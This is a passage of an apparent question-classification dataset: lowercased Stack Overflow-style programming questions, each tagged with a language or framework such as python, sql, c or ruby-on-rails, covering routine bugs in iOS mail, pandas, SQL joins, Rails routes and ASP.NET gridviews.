</code></pre>   can you please help me to fix this problem  really  i can t find anything wrong... the uploader is a single input with multi,php
mailcompose with iphone 5  i m trying to send emails through my application  and i m using the following code:   <pre><code>        if ([mfmailcomposeviewcontroller cansendmail]) {             mfmailcomposeviewcontroller *controller = [[mfmailcomposeviewcontroller alloc] init];             controller.mailcomposedelegate = self;              nsstring *subject = @  ;             nsstring *body = @  ;              [controller setsubject:subject];             [controller setmessagebody:body ishtml:yes];              [self presentmodalviewcontroller:controller animated:yes];          } else {             nsstring *message = @ error opening mail  please make sure you have an email account setup ;             uialertview *alert = [[uialertview alloc] initwithtitle:@ oops  message:message delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];             [alert show];         } </code></pre>   i m getting a weird error where on my iphone 5  the compose screen pops up  with no body (although the body was set above). i m not able to see a cursor if i click on any box and therefore can t edit  and the send button is non-clickable. and when i dismiss the screen i get the following:   <pre><code>_serviceviewcontrollerready:error: error domain=_uiviewserviceerrordomain code=1  the operation couldn’t be completed. (_uiviewserviceerrordomain error 1.)  </code></pre>   however  when i test this on an iphone 4s  iphone 4  and on the simulator--it works fine. i also tested it on another iphone 5 and it works fine. the body is there  and i can send an email etc.    is there anything else i may be missing  i have two email accounts associated with mail on my phone  so therefore the <code>cansendmail</code> should work...,ios
writing to a file in python skipping some rows  i have a input file(tsv) with 500k rows. i am cooking the data and writing the data to the output file as follows:   <pre><code>fd = pd.read_csv( /home/ubuntu/downloads/netdriver_1.txt   sep= \t  header=none  names = [ hex ]) a = fd.hex.str[8:57] f = open( myfile    w ) f.write(str(a))  # python will convert \n to os.linesep f.close() </code></pre>   only the few rows in the beginning and few rows rows at the end is showing with ... in inbetween as follows:   <pre><code>row1 row2 row3 .... row507050 row507051  </code></pre>   i need all the rows in the output file.,python
javascript --->how can i convert an array of strings to an array of numbers   <strong>my code</strong>   <pre><code>  var bills = [50.23  19.12  34.01  100.11  12.15  9.90                  29.11  12.99 10.00  99.22  102.20  100.10  6.77  2.22 ];    var totals = bills.map(function(tip){      tip += 15/100;      tip = tip.tofixed(2);      return tip;   });   console.log(totals); </code></pre>   <strong>returns</strong>   <pre><code>  [  50.38    19.27    34.16    100.26    12.30    10.05        29.26    13.14    10.15    99.37    102.35    100.25    6.92    2.37  ] </code></pre>   <strong>now  how can i convert this string array into an numbers array like this</strong>   <pre><code>  [ 50.38   19.27  34.16  100.26  12.30  10.05      29.26  13.14  10.15  99.37  102.35  100.25  6.92  2.37 ] </code></pre>,javascript
many to many relationship objects in c#  i am using .net 2.0. i have 2 objects one is: phoneservice and the other one is chartofaccount. the relationship between this to is many to many.   <pre><code>public class phoneservice {     private list&lt;chartaccount&gt; chartaccounts     private chartaccount chartaccount      public int64 id     {      get { return id; }      set { id = value; }     }      public bool add()     { ... }      public bool update()     { ... } }  public class chartaccount {     public int64 id     {      get { return id; }      set { id = value; }     }      public bool add()     { ... }      public bool update()     { ... }      public bool allocate()     {        // this will save data for the bridge table only     } } </code></pre>   now my question  is it possible when you do this:   <pre><code>phoneservice service = new phoneservice(); service.chartaccounts[0].id = 5 service.chartaccounts[1].id = 10 </code></pre>   due to <strong>chartaccounts</strong> is a collection   how do i attemp to put allocate() so become like: service.chartaccounts.allocate()    all i can think of is putting the allocate() method in service class instead. any ideas     thanks,.net
how can these code blocks produce seemingly identical results that function differently later   can anyone tell me the functional difference between this code...   <blockquote>    for (int i = 0; i &lt; productsjson.count; i++)      {          prod = [[product alloc] init];   <pre><code>   prod.itemid = [[productsjson valueforkey:@ itemid ] objectatindex:i];    prod.name = [[productsjson valueforkey:@ name ] objectatindex:i];     [self.products addobject:prod]; </code></pre>       }      [super viewdidload];  </blockquote>   ... and this code...   <blockquote>    prod = [[product alloc] init];      prod.itemid = @ sb4ul ;      prod.name = @ #4 split bolt- ul approved ;      [self.products addobject:prod];        prod = [[product alloc] init];      prod.itemid = @ pvsc07ggul ;      prod.name = @ i beam grounding clamp  ul ;      [self.products addobject:prod];        [super viewdidload];  </blockquote>   ... when prod.itemid and prod.name are nsstring properties  and the values assigned in the  for  loop have -- after exiting the loop -- been visually confirmed to be the same as values assigned by the other block of code     for all i can tell  both behave exactly the same until the moment i actually try to put the results to practical use in my app. the code appears in the viewdidload method of a uitableviewcontroller. it gets passed to the cellforrowatindexpath method  where i can confirm that the values arrive intact. then we step straight into the code block...   <blockquote>    uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:@ productcell ];      product *product = [self.products objectatindex:indexpath.row];      cell.textlabel.text = product.name;  </blockquote>   if i ve commented out the first block and run the second  the view displays flawlessly.    if i ve commented out the second block and run the first  the program dies every time at  cell.textlabel.text = product.name   and it displays a seemingly random error message (e.g.:  thread 1: exec_bad_instruction (code=exc_1386_invop  subcode=0x0)  or  thread 1: signal sigabrt  or  thread 1:exc_bad_access(code=1  adress=0xf069996f ).,objective-c
asp.net button does not postback to server  in the following html  the btnlogin button is not posting back to the server. this is a master page   with autoeventwireup= true  any idea    <pre><code>&lt;div id= loginform  runat= server &gt;                             &lt;div id= mostrarlogin  runat= server &gt;         &lt;div class= headerform  &gt;&lt;h2&gt;iniciar sesión&lt;/h2&gt;&lt;/div&gt;             &lt;article&gt;                 &lt;div class= ejemplo clear  runat= server  id= loginclear &gt;                     &lt;label&gt;casilla de correo&lt;/label&gt;                     &lt;asp:textbox name= casilla  runat= server  id= txtcasilla &gt;&lt;/asp:textbox&gt;                     &lt;label&gt;contraseña&lt;/label&gt;                         &lt;asp:textbox runat= server  name= pass  id= txtpass &gt;&lt;/asp:textbox&gt;                     &lt;p&gt;&lt;input name= terminos  type= checkbox  value= acepto  runat= server  id= chkrecordarme  /&gt;&amp;nbsp;recordar contraseña&lt;/p&gt;                       &lt;a href= javascript:void(0);  class= left btnrecuperar &gt;¿olvidaste tu contraseña &lt;/a&gt;                      &lt;asp:button name= enviar  text= ingresar  class= leermas-naranja right  runat= server  id= btnlogin  onclick= btnlogin_click /&gt;           &lt;/div&gt;     &lt;/article&gt; &lt;/div&gt; </code></pre>   post back page:   <pre><code>protected void btnlogin_click(object sender  eventargs e) {    //something     } </code></pre>,asp.net
python script to pull data from restapi fails with error  when i run my python script to get data from restapi of an application  i get the following error. i installed pip and i installed requests package for the python. here is my below query:    ./simplerunquery.py <code>&lt;args&gt; &lt;args&gt;</code>   <pre><code>traceback (most recent call last):   file  ./simplerunquery.py   line 25  in &lt;module&gt;     res = requests.post(url  auth=(args.username  args.password)  data=jsonrequest  headers=headers)    file  /library/python/2.7/site-packages/requests/api.py   line 112  in post     return request( post   url  data=data  json=json  **kwargs)   file  /library/python/2.7/site-packages/requests/api.py   line 58  in request     return session.request(method=method  url=url  **kwargs)   file  /library/python/2.7/site-packages/requests/sessions.py   line 508  in request     resp = self.send(prep  **send_kwargs)   file  /library/python/2.7/site-packages/requests/sessions.py   line 618  in send     r = adapter.send(request  **kwargs)   file  /library/python/2.7/site-packages/requests/adapters.py   line 490  in send     raise connectionerror(err  request=request) requests.exceptions.connectionerror: ( connection aborted.   error(54   connection reset by peer )) </code></pre>   i can attach the script  but my script doens t have the lines 112 or 58 or any of these  it s a simple restapi script that queries and posts results here. any pointers,python
shared/error_messages  partial not rendering when it should  i can t figure out why my  shared/error_messages  partial isn t being rendered when it should be (i.e. when an invalid  treating  is submitted through this form):    _treating_form.html.erb:   <pre><code>&lt;%= form_for(@treating) do |f| %&gt;       &lt;%= render  shared/error_messages   object: f.object %&gt;     &lt;div&gt;&lt;%= f.hidden_field :requestee_id %&gt;&lt;/div&gt;       &lt;div&gt;         &lt;%= f.text_field :proposed_location  placeholder:  propose a location here...  %&gt;     &lt;/div&gt;         &lt;div&gt;         &lt;%= f.text_field :proposed_date  placeholder:  propose a date here...  %&gt;     &lt;/div&gt;     &lt;div class= field &gt;         &lt;%= f.text_area :intro  placeholder:  write your introduction here...  %&gt;     &lt;/div&gt;     &lt;%= f.submit  send   class:  btn btn-large btn-primary  %&gt; &lt;% end %&gt; </code></pre>   this _treating_form.html.erb partial is called in a users/show.html.erb view:   <pre><code>&lt;% provide(:title  @user.name) %&gt; &lt;div class= row &gt;     &lt;aside class= span4 &gt;         &lt;section&gt;             &lt;h1&gt;                 &lt;%= @user.name %&gt;             &lt;/h1&gt;         &lt;/section&gt;         &lt;% if signed_in  %&gt;             &lt;section&gt;                     &lt;%= render  shared/treating_form  unless current_user (@user) %&gt;             &lt;/section&gt;         &lt;% end %&gt;     &lt;/aside&gt; &lt;/div&gt; </code></pre>   here is my error_messages partial:   <pre><code>&lt;% if object.errors.any  %&gt;     &lt;div id= error_explanation &gt;         &lt;div class= alert alert-error &gt;             the form contains &lt;%= pluralize(object.errors.count   error ) %&gt;.         &lt;/div&gt;         &lt;ul&gt;             &lt;% object.errors.full_messages.each do |msg| %&gt;                 &lt;li&gt;* &lt;%= msg %&gt;&lt;/li&gt;             &lt;% end %&gt;         &lt;/ul&gt;     &lt;/div&gt; &lt;% end %&gt; </code></pre>   the error_messages partial is correctly being rendered upon validation errors triggered in submitting to user  edit settings  page:   <pre><code>&lt;% provide(:title   edit user ) %&gt; &lt;h1&gt;update your profile&lt;/h1&gt; &lt;div class= row &gt;     &lt;div class= span6 offset3 &gt;     &lt;%= form_for(@user) do |f| %&gt;         &lt;%= render  shared/error_messages   object: f.object %&gt;         &lt;%= f.label :name %&gt;         &lt;%= f.text_field :name %&gt;         &lt;%= f.label :email %&gt;         &lt;%= f.text_field :email %&gt;         &lt;%= f.label :password %&gt;         &lt;%= f.password_field :password %&gt;         &lt;%= f.label :password_confirmation   confirm password  %&gt;         &lt;%= f.password_field :password_confirmation %&gt;         &lt;%= f.submit  save changes   class:  btn btn-large btn-primary  %&gt;         &lt;% end %&gt;            &lt;/div&gt; &lt;/div&gt; </code></pre>   any ideas why the errors aren t being shown when an invalid  treating  is being submitted  thanks!,ruby-on-rails
can core data be used without tableview   i ve seen some sample code about core data. all of that uses navigation base template where the tableview is already provided. when i remove the tableview or use window base template  it kept crashing with the console stated the same error  something like it couldn t find this entity name. and the entity name is exactly the same (in @   as it should be). so can i use core data to do saving without having those table  thanks in advance,iphone
how could i write select statement to these two columns   can you write a sql command for helping me in these two columns     for example.....these two columns   <pre><code>a1             a2 ______       ______ 1              1 2              1 1              2 2              3 3              1 3              2 4              1 4              2 </code></pre>   i want the output:   <pre><code>a1 a1 1  2 2  3 3  2 4  2 </code></pre>,sql
finding most sold product  i m trying to get the most sold product by margaret peacock which brought the most profit in the month of november  the database is the one in w3schools.com in case you guys want to see the structure. here is the query i wrote   <pre><code>select e.firstname  e.lastname  p.productname  od.quantity  p.price  o.orderdate from   employees e   inner join orders o on e.employeeid = o.employeeid   inner join orderdetails od on o.orderid = od.orderid   inner join products p on od.productid = p.productid where    o.orderdate between  1996-11-01  and  1996-11-30    and e.firstname =  margaret    and e.lastname =  peacock  group by   e.firstname    e.lastname    p.productname    od.quantity    p.price    o.orderdate order by p.price desc </code></pre>   here is the result:   <pre><code>firstname   lastname    productname   quantity   price    orderdate margaret    peacock     côte de blaye      10             263.5   1996-11-22 margaret    peacock    thüringer rostbratwurs  35            123.79   1996-11-22 margaret    peacock    rössle sauerkraut       30              45.6   1996-11-22 </code></pre>,sql
deleting order in sql request  the program i m building has to delete a lot of stuff before running.    the line of delete look like   <pre><code>delete * from tablea where po=5; delete * from tableb where po=5; delete * from tablec where n in (select n from tabled where po=5) delete * from tabled where po=5 </code></pre>   the problem is that about 10 times in about 500 tables  the link i need to delete is in the child table so i have no more way to delete it s parent   <pre><code>delete * from tablef where po=5; delete * from tableg where x in (select x from tablef where po=5) </code></pre>   so i m deleting nothing from tableg because there is no info on tablef. is there a easy way to keep the information without creating a temp table or rewriting the code.,sql
how to add footer template dynamically in asp.net  i have created a gridview dynamically. there is template fields described in designing portion. all the columns were created thru code behind as follows. its works fine. here i can listed the pages for each rows. but i dont know how to implement the sum of pages in the footer template thru code behind.    <pre><code>templatefield pages = new templatefield(); pages.headertext =  pages ; pages.itemtemplate = new gridviewtemplate_pages(); gv1.columns.add(pages);       public class gridviewtemplate_pages : itemplate     {          void itemplate.instantiatein(control container)         {             label pageslabel = new label();             pageslabel.databinding += new eventhandler(this.pageslabel_databinding);             container.controls.add(pageslabel);         }          void pageslabel_databinding(object sender  eventargs e)         {             label lbl1 = (label)sender;             gridviewrow row = (gridviewrow)lbl1.namingcontainer;             lbl1.text = databinder.eval(row.dataitem   pagesreceived ).tostring();         }     } </code></pre>   given showfooter= true  in aspx page and rowdatabound written separately. the following code works fine if i given footer template in aspx page but do not know how to get the result in programmatically. please advice.   <pre><code>    protected void gv1_rowdatabound(object sender  gridviewroweventargs e)     {         if (e.row.rowtype == datacontrolrowtype.datarow)         {             int rowtotalpages = convert.toint32(databinder.eval(e.row.dataitem   pagesreceived ));             totalpages = totalpages + rowtotalpages;         }         if (e.row.rowtype == datacontrolrowtype.footer)         {             label m = (label)e.row.findcontrol( gv1totalpages );             m.text = totalpages.tostring();         }     } </code></pre>,asp.net
css for the gridview  i want a css that handle all property of a grid view....like:   <pre><code>    width: 100px; height:2px;   background-color:blue; overflow:hidden; </code></pre>   after use this css ....i can not fix the gridview column width.....selected column color.... i want to know how to control all property of gridview from the css.......like column width height    <pre><code>column value  aaa  bbbbb  ddddddddddd   ddddddddddddddddddddddddddddddddddddddddd </code></pre>   i want a css that handle this column ...and set widht 100px .....output liek:   <pre><code>column value      aaa      bbbb     b      ddd     ddd     ddd     dd </code></pre>,asp.net
action controller error w/ rails  i am trying to create a link here with this:   <pre><code> &lt;%= link_to  edit pics   edit_property_gallery_path(property  gallery) %&gt; </code></pre>   and my route is this:   <pre><code> edit_property_gallery get    /properties/:property_id/galleries/:id/edit(.:format)               galleries#edit </code></pre>   but i m getting this     [<img src= https://i.stack.imgur.com/ccbt6.png  alt= enter image description here >]    and i m setting my spaces dashboard controller w/ a set_gallery method like this   <pre><code>def set_gallery   @gallery = gallery.find(params[:id]) end </code></pre>   can you help me see how i m getting this error.  thanks.    here is the relevant routes info:   <pre><code>  resources :properties do     collection do       get  search      end     resources :galleries   end    resources :spaces do     collection do       get  search      end     resources :galleries do       resources :pictures     end </code></pre>   here is my rake routes output:   <pre><code>zacharys-mbp:swing zak$ rake routes                          prefix verb   uri pattern                                                         controller#action               new_user_session get    /users/sign_in(.:format)                                            devise/sessions#new                   user_session post   /users/sign_in(.:format)                                            devise/sessions#create           destroy_user_session delete /users/sign_out(.:format)                                           devise/sessions#destroy                  user_password post   /users/password(.:format)                                           devise/passwords#create              new_user_password get    /users/password/new(.:format)                                       devise/passwords#new             edit_user_password get    /users/password/edit(.:format)                                      devise/passwords#edit                                patch  /users/password(.:format)                                           devise/passwords#update                                put    /users/password(.:format)                                           devise/passwords#update       cancel_user_registration get    /users/cancel(.:format)                                             registrations#cancel              user_registration post   /users(.:format)                                                    registrations#create          new_user_registration get    /users/sign_up(.:format)                                            registrations#new         edit_user_registration get    /users/edit(.:format)                                               registrations#edit                                patch  /users(.:format)                                                    registrations#update                                put    /users(.:format)                                                    registrations#update                                delete /users(.:format)                                                    registrations#destroy                     admin_root get    /admin(.:format)                                                    admin/dashboard#index                admin_dashboard get    /admin/dashboard(.:format)                                          admin/dashboard#index  batch_action_admin_properties post   /admin/properties/batch_action(.:format)                            admin/properties#batch_action               admin_properties get    /admin/properties(.:format)                                         admin/properties#index                                post   /admin/properties(.:format)                                         admin/properties#create             new_admin_property get    /admin/properties/new(.:format)                                     admin/properties#new            edit_admin_property get    /admin/properties/:id/edit(.:format)                                admin/properties#edit                 admin_property get    /admin/properties/:id(.:format)                                     admin/properties#show                                patch  /admin/properties/:id(.:format)                                     admin/properties#update                                put    /admin/properties/:id(.:format)                                     admin/properties#update                                delete /admin/properties/:id(.:format)                                     admin/properties#destroy      batch_action_admin_spaces post   /admin/spaces/batch_action(.:format)                                admin/spaces#batch_action                   admin_spaces get    /admin/spaces(.:format)                                             admin/spaces#index                                post   /admin/spaces(.:format)                                             admin/spaces#create                new_admin_space get    /admin/spaces/new(.:format)                                         admin/spaces#new               edit_admin_space get    /admin/spaces/:id/edit(.:format)                                    admin/spaces#edit                    admin_space get    /admin/spaces/:id(.:format)                                         admin/spaces#show                                patch  /admin/spaces/:id(.:format)                                         admin/spaces#update                                put    /admin/spaces/:id(.:format)                                         admin/spaces#update                                delete /admin/spaces/:id(.:format)                                         admin/spaces#destroy       batch_action_admin_users post   /admin/users/batch_action(.:format)                                 admin/users#batch_action                    admin_users get    /admin/users(.:format)                                              admin/users#index                                post   /admin/users(.:format)                                              admin/users#create                 new_admin_user get    /admin/users/new(.:format)                                          admin/users#new                edit_admin_user get    /admin/users/:id/edit(.:format)                                     admin/users#edit                     admin_user get    /admin/users/:id(.:format)                                          admin/users#show                                patch  /admin/users/:id(.:format)                                          admin/users#update                                put    /admin/users/:id(.:format)                                          admin/users#update                                delete /admin/users/:id(.:format)                                          admin/users#destroy                 admin_comments get    /admin/comments(.:format)                                           admin/comments#index                                post   /admin/comments(.:format)                                           admin/comments#create                  admin_comment get    /admin/comments/:id(.:format)                                       admin/comments#show                                delete /admin/comments/:id(.:format)                                       admin/comments#destroy                       pictures get    /pictures(.:format)                                                 pictures#index                                post   /pictures(.:format)                                                 pictures#create                    new_picture get    /pictures/new(.:format)                                             pictures#new                   edit_picture get    /pictures/:id/edit(.:format)                                        pictures#edit                        picture get    /pictures/:id(.:format)                                             pictures#show                                patch  /pictures/:id(.:format)                                             pictures#update                                put    /pictures/:id(.:format)                                             pictures#update                                delete /pictures/:id(.:format)                                             pictures#destroy              search_properties get    /properties/search(.:format)                                        properties#search             property_galleries get    /properties/:property_id/galleries(.:format)                        galleries#index                                post   /properties/:property_id/galleries(.:format)                        galleries#create           new_property_gallery get    /properties/:property_id/galleries/new(.:format)                    galleries#new          edit_property_gallery get    /properties/:property_id/galleries/:id/edit(.:format)               galleries#edit               property_gallery get    /properties/:property_id/galleries/:id(.:format)                    galleries#show                                patch  /properties/:property_id/galleries/:id(.:format)                    galleries#update                                put    /properties/:property_id/galleries/:id(.:format)                    galleries#update                                delete /properties/:property_id/galleries/:id(.:format)                    galleries#destroy                     properties get    /properties(.:format)                                               properties#index                                post   /properties(.:format)                                               properties#create                   new_property get    /properties/new(.:format)                                           properties#new                  edit_property get    /properties/:id/edit(.:format)                                      properties#edit                       property get    /properties/:id(.:format)                                           properties#show                                patch  /properties/:id(.:format)                                           properties#update                                put    /properties/:id(.:format)                                           properties#update                                delete /properties/:id(.:format)                                           properties#destroy                  search_spaces get    /spaces/search(.:format)                                            spaces#search         space_gallery_pictures get    /spaces/:space_id/galleries/:gallery_id/pictures(.:format)          pictures#index                                post   /spaces/:space_id/galleries/:gallery_id/pictures(.:format)          pictures#create      new_space_gallery_picture get    /spaces/:space_id/galleries/:gallery_id/pictures/new(.:format)      pictures#new     edit_space_gallery_picture get    /spaces/:space_id/galleries/:gallery_id/pictures/:id/edit(.:format) pictures#edit          space_gallery_picture get    /spaces/:space_id/galleries/:gallery_id/pictures/:id(.:format)      pictures#show                                patch  /spaces/:space_id/galleries/:gallery_id/pictures/:id(.:format)      pictures#update                                put    /spaces/:space_id/galleries/:gallery_id/pictures/:id(.:format)      pictures#update                                delete /spaces/:space_id/galleries/:gallery_id/pictures/:id(.:format)      pictures#destroy                space_galleries get    /spaces/:space_id/galleries(.:format)                               galleries#index                                post   /spaces/:space_id/galleries(.:format)                               galleries#create              new_space_gallery get    /spaces/:space_id/galleries/new(.:format)                           galleries#new             edit_space_gallery get    /spaces/:space_id/galleries/:id/edit(.:format)                      galleries#edit                  space_gallery get    /spaces/:space_id/galleries/:id(.:format)                           galleries#show                                patch  /spaces/:space_id/galleries/:id(.:format)                           galleries#update                                put    /spaces/:space_id/galleries/:id(.:format)                           galleries#update                                delete /spaces/:space_id/galleries/:id(.:format)                           galleries#destroy        evaluate_space_contract get    /spaces/:space_id/contracts/:id/evaluate(.:format)                  contracts#evaluate tenant_evaluate_space_contract get    /spaces/:space_id/contracts/:id/tenant_evaluate(.:format)           contracts#tenant_evaluate                space_contracts get    /spaces/:space_id/contracts(.:format)                               contracts#index                                post   /spaces/:space_id/contracts(.:format)                               contracts#create             new_space_contract get    /spaces/:space_id/contracts/new(.:format)                           contracts#new            edit_space_contract get    /spaces/:space_id/contracts/:id/edit(.:format)                      contracts#edit                 space_contract get    /spaces/:space_id/contracts/:id(.:format)                           contracts#show                                patch  /spaces/:space_id/contracts/:id(.:format)                           contracts#update                                put    /spaces/:space_id/contracts/:id(.:format)                           contracts#update                                delete /spaces/:space_id/contracts/:id(.:format)                           contracts#destroy                  space_reviews get    /spaces/:space_id/reviews(.:format)                                 reviews#index                                post   /spaces/:space_id/reviews(.:format)                                 reviews#create               new_space_review get    /spaces/:space_id/reviews/new(.:format)                             reviews#new              edit_space_review get    /spaces/:space_id/reviews/:id/edit(.:format)                        reviews#edit                   space_review get    /spaces/:space_id/reviews/:id(.:format)                             reviews#show                                patch  /spaces/:space_id/reviews/:id(.:format)                             reviews#update                                put    /spaces/:space_id/reviews/:id(.:format)                             reviews#update                                delete /spaces/:space_id/reviews/:id(.:format)                             reviews#destroy                         spaces get    /spaces(.:format)                                                   spaces#index                                post   /spaces(.:format)                                                   spaces#create                      new_space get    /spaces/new(.:format)                                               spaces#new                     edit_space get    /spaces/:id/edit(.:format)                                          spaces#edit                          space get    /spaces/:id(.:format)                                               spaces#show                                patch  /spaces/:id(.:format)                                               spaces#update                                put    /spaces/:id(.:format)                                               spaces#update                                delete /spaces/:id(.:format)                                               spaces#destroy                           root get    /                                                                   spaces#index                        payment get    /payment(.:format)                                                  contracts#payment                      dashboard get    /dashboard(.:format)                                                spaces#dashboard                       about_us get    /about_us(.:format)                                                 marketing_pages#about_us                           team get    /team(.:format)                                                     marketing_pages#team                   how_it_works get    /how_it_works(.:format)                                             marketing_pages#how_it_works                          users get    /users(.:format)                                                    users#index                                post   /users(.:format)                                                    users#create                       new_user get    /users/new(.:format)                                                users#new                      edit_user get    /users/:id/edit(.:format)                                           users#edit                           user get    /users/:id(.:format)                                                users#show                                patch  /users/:id(.:format)                                                users#update                                put    /users/:id(.:format)                                                users#update                                delete /users/:id(.:format)                                                users#destroy                       messages get    /messages(.:format)                                                 redirect(301  /conversations)                        message post   /messages/:id(.:format)                                             messages#new                                get    /messages(.:format)                                                 messages#index                                post   /messages(.:format)                                                 messages#create                    new_message get    /messages/new(.:format)                                             messages#new                   edit_message get    /messages/:id/edit(.:format)                                        messages#edit                                get    /messages/:id(.:format)                                             messages#show                                patch  /messages/:id(.:format)                                             messages#update                                put    /messages/:id(.:format)                                             messages#update                                delete /messages/:id(.:format)                                             messages#destroy             reply_conversation post   /conversations/:id/reply(.:format)                                  conversations#reply             trash_conversation post   /conversations/:id/trash(.:format)                                  conversations#trash           untrash_conversation post   /conversations/:id/untrash(.:format)                                conversations#untrash         trashbin_conversations get    /conversations/trashbin(.:format)                                   conversations#trashbin      empty_trash_conversations post   /conversations/empty_trash(.:format)                                conversations#empty_trash                  conversations get    /conversations(.:format)                                            conversations#index                                post   /conversations(.:format)                                            conversations#create               new_conversation get    /conversations/new(.:format)                                        conversations#new              edit_conversation get    /conversations/:id/edit(.:format)                                   conversations#edit                   conversation get    /conversations/:id(.:format)                                        conversations#show                                patch  /conversations/:id(.:format)                                        conversations#update                                put    /conversations/:id(.:format)                                        conversations#update                                delete /conversations/:id(.:format)                                        conversations#destroy </code></pre>,ruby-on-rails
c programing   to generate a float between two whole numbers  c programming i want to generate a float number (money ex 32.52) from a range of 10 to 40  inclusive.   <pre><code>float money; srand(time(null)); money = 10+ ( rand() % (40 - 10 + 1 )); printf( show amount: %.2f   money); </code></pre>   this only generates whole numbers (ex: 17.00 ; 20.00.....),c
i cannot cut the sides of my div element so that it fits the image and text inside <pre><code>&lt;div class =  container-fluid &gt;     &lt;body style= background-color:#d3d3d3 &gt;         &lt;h1 class= text-center &gt;nelson mandela&lt;/h1&gt;      &lt;h3 class =  text-center &gt;&lt;em&gt;a man who believed in freedom&lt;/em&gt;&lt;h3&gt;       &lt;br&gt;       &lt;div style= background-color:gray  class= text-center &gt;            &lt;img class= img-responsive  style= margin:0px  src= https://b-i.forbesimg.com/mfonobongnsehe/files/2013/12/mandela.jpg &gt;          &lt;p style= font-size:15px &gt; education is the most powerful weapon which you can use to change the world. &lt;/p&gt;         &lt;/div&gt;  &lt;/body&gt; </code></pre>,html
replacing � s with quotations and apostrophes  recently i ve done some careless copying and pasting into my html documents. because the document type is set to strict  the quotation marks and apostrophes show up as this crazy symbol: �. example: brad says  �don�t rock the boat baby.�    i considered changing the document type from strict (which could turn out to be the easiest thing to do) but i m not sure if changing from strict would have any negative repercussions.    naturally  i need to get rid of them. the problem is that i need to replace a lot of them from a lot of different documents. i d use the replace feature on textpad  but it doesn t recognize �   so i can t change it. i ve been reduced to going through all of the code and doing the tedious replacing.    does anyone know of a good way to replace these things  it could be some other software  or anything else really.,html
rand() method not working in c  i am building a basic c program in which you guess a number generated by the computer  i am having a problem in which the number is always 83  my code is here:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  main() { int number = rand() % 100; int guesses = 0; printf( you have 20 guesses to get the number \n ); while(guesses&lt;50){     int guess;     scanf( %d   &amp;guess);     if(guess&gt;50 &amp;&amp; number&gt;50){         printf( number is greater than 50! \n );     }     if(guess&gt;75 &amp;&amp; number&gt;75){         printf( number is greater than 75! \n );     }     if(guess&lt;50 &amp;&amp; number&lt;50){         printf( number is less than 50! \n );     }     if(guess&lt;25 &amp;&amp; number&lt;25){         printf( number is less than 25! \n );     }     if(guess == number){         printf( well done you got the number! you guessed %d  it was %d \n   guess  number);         exit(0);     }     guesses+=1; } } </code></pre>,c
show count = 0 for an id that doesn t exist in table  i need to count all exams for a company and if that company don t exists in exams table  return 0.    in my company table i have 3 companies. here is my query:   <pre><code>select c.name  isnull(count(e.id)  0) from exam e inner join company c on c.id = e.company_id group by c.name </code></pre>   it returns 2 rows  but i want to show the third company that don t have any records in exam table.    how can i do that,sql
float value when past from a function is not same again  the problem is found in a class i write i found the 19.8851 past to the %f only get 19.88509 is this because the float cant save too mush fractional part    <pre><code>// //  main.m //  0.6 the_float_not_corrert // //  created by sen on 7/4/14. //  copyright (c) 2014 slboat. all rights reserved. //  #import &lt;foundation/foundation.h&gt;  /**  *  for get a float value from function  *  *  @return a flaot value  */ float getafloat(){      return 19.8851; }  int main(int argc  const char * argv[]) {      @autoreleasepool {          nslog(@ const 19.8851 is %f  19.8851);         nslog(@ 19.8851 is %f  getafloat());         float byvalue = 19.8851;         nslog(@ 19.8851 pass in value is %f  byvalue);      }     return 0; } </code></pre>   this is what i got   <pre><code>2014-07-04 09:42:07.508 0.6 the_float_not_corrert[11540:303] const 19.8851 is 19.885100 2014-07-04 09:42:07.510 0.6 the_float_not_corrert[11540:303] 19.8851 is 19.885099 2014-07-04 09:42:07.511 0.6 the_float_not_corrert[11540:303] 19.8851 pass in value is 19.885099 program ended with exit code: 0 </code></pre>,objective-c
split arrays into separate strings  i ve got an array see here:   <pre><code>foreach ($fonts as $font) {          $html .=  &lt;option value=  . $font[ name ] .  . $font[ font ] .  . $font[ css ] .    . selected( $layout_options[ h1-font ]    . $font[ name ] .  . $font[ font ] .  . $font[ css ] .    false) .  &gt;  . __(   . $font[ name ] .   ) .  &lt;/option&gt; ;              $html.= $font[ font ];         $html .=  &lt;/option&gt; ;     } </code></pre>   the var_dump results for it are here:    using   <pre><code>var_dump($layout_options[ h1-font ] </code></pre>   i get the results   <pre><code>string(85)  lobster@import url(http://fonts.googleapis.com/css family=lobster); lobster   cursive  </code></pre>   that array consists of the following variables   <pre><code> . $font[ name ] .  . $font[ font ] .  . $font[ css ] .  </code></pre>   i need to separate them  ideally i would like to use    <pre><code>$layout_options[ hi-font-css ] </code></pre>   how can i do this     update:    hopefully it will explain it more if i post all the code.    here is my function  i ll go back to the original code as this worked slightly better.   <pre><code>function span_font_callback() { $layout_options = (array) get_option(  layout_options  ); $fonts = get_fonts(); $current =  arial ;  if ( isset( $layout_options[ span-font ] ) )     $current = $layout_options[ span-font ];   &gt;     &lt;select name= layout_options[span-font] &gt;       &lt;option value= default &gt;please select an option&lt;/option&gt;       &lt; php foreach( $fonts as $key =&gt; $font ):  &gt;         &lt;option &lt; php if($key == $current) echo  selected ;  &gt; value= &lt; php echo $key;  &gt; &gt;&lt; php echo $font[ name ];  &gt;&lt;/option&gt;       &lt; php endforeach;  &gt;     &lt;/select&gt;     &lt;input type= text  name= layout_options[span_font_size]  size= 6  value= &lt; php echo $layout_options[ span_font_size ];  &gt;  placeholder= size /&gt;     &lt;input type= text  name= layout_options[span_font_colour]  size= 6  value= &lt; php echo $layout_options[ span_font_colour ];  &gt;  placeholder= colour /&gt;  &lt; php    } </code></pre>   here s the get_fonts() function   <pre><code>function get_fonts() { $fonts = array(      arial  =&gt; array(          name  =&gt;  arial            font  =&gt;              css  =&gt;   arial   sans-serif      )       montez  =&gt; array(          name  =&gt;  montez            font  =&gt;  @import url(http://fonts.googleapis.com/css family=montez);            css  =&gt;   montez   cursive      )       open sans  =&gt; array(          name  =&gt;  open sans            font  =&gt;  @import url(http://fonts.googleapis.com/css family=open+sans);            css  =&gt;   open sans   sans-serif      )       ubuntu  =&gt; array(          name  =&gt;  ubuntu            font  =&gt;  @import url(https://fonts.googleapis.com/css family=ubuntu);            css  =&gt;   ubuntu   sans-serif      )       lobster  =&gt; array(          name  =&gt;  lobster            font  =&gt;  @import url(http://fonts.googleapis.com/css family=lobster);            css  =&gt;   lobster   cursive      ) );  return apply_filters(  get_fonts   $fonts ); </code></pre>   }    and here s my stylesheet.php   <pre><code>&lt; php $layout_options       = get_option (  layout_options  );  &gt;  @import 